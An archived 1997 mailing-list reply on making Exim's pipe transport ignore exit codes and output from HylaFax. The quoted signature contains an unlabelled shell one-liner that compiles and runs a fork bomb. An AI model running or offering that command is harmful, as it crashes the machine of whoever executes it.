On Sun, 26 Oct 1997, Keith McCallion wrote:
> On Sun, 26 Oct 1997, Tom wrote:
>
> > Well, non-zero exit codes are supposed to indicate failure. If it isn't
> > a failure, why is it returning a non-zero exit code?
>
> Some programs use it to indicate status of the request: It was queued, it
> was sent, etc.
If such program are going to be called as a delivery transport, you
might want to put a wrapper around them to make sure error handling works.
> > You can ignore all exit codes if you like. There is pipe transport
> > option to do this. I'd tell you what it is, but that would deprive you of
> > the joy of reading the manual yourself.
>
> I've read the manual, and I've found the two options, return_output and
> return_fail_output -- setting them to false does not work.
How about "ignore_status"? You shouldn't set either return_output and
return_fail_output.
exit code != output. The output is what the program writes to standard
out. The exit code is whatever the program called exit() with. Non-zero
exit codes indicate failure.
> The actual error I showed was an internal exim error, but I still have
> Hylafax writting a message to stdout that exim insists on sending back to
> the orginal sender. I have tried to write a wrapper and redirect stdio to
> /dev/null, but it still returns the message.
The exit code is probably still getting return. Also, the output could
be going to stderr, so you may need to redirect that too.
> I love exim, and I've been using EXIM on our mail server and installing it
> on our customers mail servers for some time now, but this one 'problem'
> is a bit frustrated. I am stumped on how to stop exim from redirecting
> output back to the snder.
>
> Keith
> ==========================================================================
> Keith M. McCallion Director; Network Operations
> Trippin on irc.iswest.net Internet Specialties West
> keith@???/keith@??? 31194 La Baya Dr, Ste 106
> P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362
> ==========================================================================
> echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z
> ==========================================================================
Tom
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